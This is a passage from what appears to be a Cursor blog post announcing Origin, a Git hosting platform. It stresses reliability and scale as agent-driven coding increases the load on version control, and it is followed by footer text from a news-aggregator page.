ex­ist in Git, we in­tro­duce very few new ones, be­cause through­out all this, all Git op­er­a­tions are per­formed on a nor­mal Git repos­i­tory on disk, us­ing off-the-shelf tool­ing.

Origin

We are acutely aware of how im­por­tant it is to host some­body’s source code. I think every­body who reads and un­der­stands this blog post is just as aware of it. A com­pany can grind to a halt if its de­vel­op­ers can­not push or pull from its Git repos­i­to­ries. The pro­duc­tiv­ity cost of five min­utes of down­time in your CI sys­tem is hard to quan­tify in dol­lars, but it is, by any mea­sure, a hu­mon­gous amount.

Agents have fun­da­men­tally changed the way we work with soft­ware, and in many ways they’ve made this sit­u­a­tion worse. More code, more PRs, more CI runs. Version con­trol is at the core of all of this, and it is pos­si­bly the hard­est thing to change overnight.

We’ve faced these dif­fi­cul­ties in­ter­nally at Cursor for many months now, and we’ve put con­sid­er­able thought and care into build­ing a plat­form that solves them for us and that can hope­fully solve them for our cus­tomers too. Our fo­cus right now is on pro­vid­ing the smoothest pos­si­ble off-ramp into more re­li­a­bil­ity, more per­for­mance and more scale, and mak­ing the mi­gra­tion as pain­less as pos­si­ble.

Origin is not an ex­per­i­ment; it is the re­sult of many decades of ex­pe­ri­ence build­ing these same sys­tems, from peo­ple who deeply un­der­stand the mag­ni­tude of the chal­lenges in­volved. We have an en­gi­neer­ing and op­er­a­tional phi­los­o­phy that has been proven to work, and a strong com­mit­ment to con­tinue evolv­ing it as the land­scape of ver­sion con­trol evolves.

We’re hop­ing you’ll place your trust in us and our plat­form.

To add this web app to your iOS home screen tap the share button and select "Add to the Home Screen".

10HN is also available as an iOS App

If you visit 10HN only rarely, check out the the best articles from the past week.

Visit pancik.com for more.